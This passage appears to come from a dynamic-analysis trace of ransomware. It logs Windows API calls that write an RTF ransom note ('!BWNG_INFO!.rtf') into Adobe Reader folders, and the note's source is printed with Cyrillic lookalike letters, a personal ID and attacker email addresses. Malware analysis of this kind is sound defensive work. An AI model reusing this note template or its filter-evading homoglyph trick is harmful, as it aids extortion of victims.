liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n}ûÃ\x11q\x12©ô\x8a5;ä\x1bú\x9b\x06\nÛ4¬ú°­Øw±´d4\x8d\x03\x17", lpUsedDefaultChar=0x0) returned 14086 [0042.361] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0042.362] CloseHandle (hObject=0x1ac) returned 1 [0042.362] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\!bwng_info!.rtf")) returned 0xffffffff [0042.362] GetLastError () returned 0x2 [0042.362] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 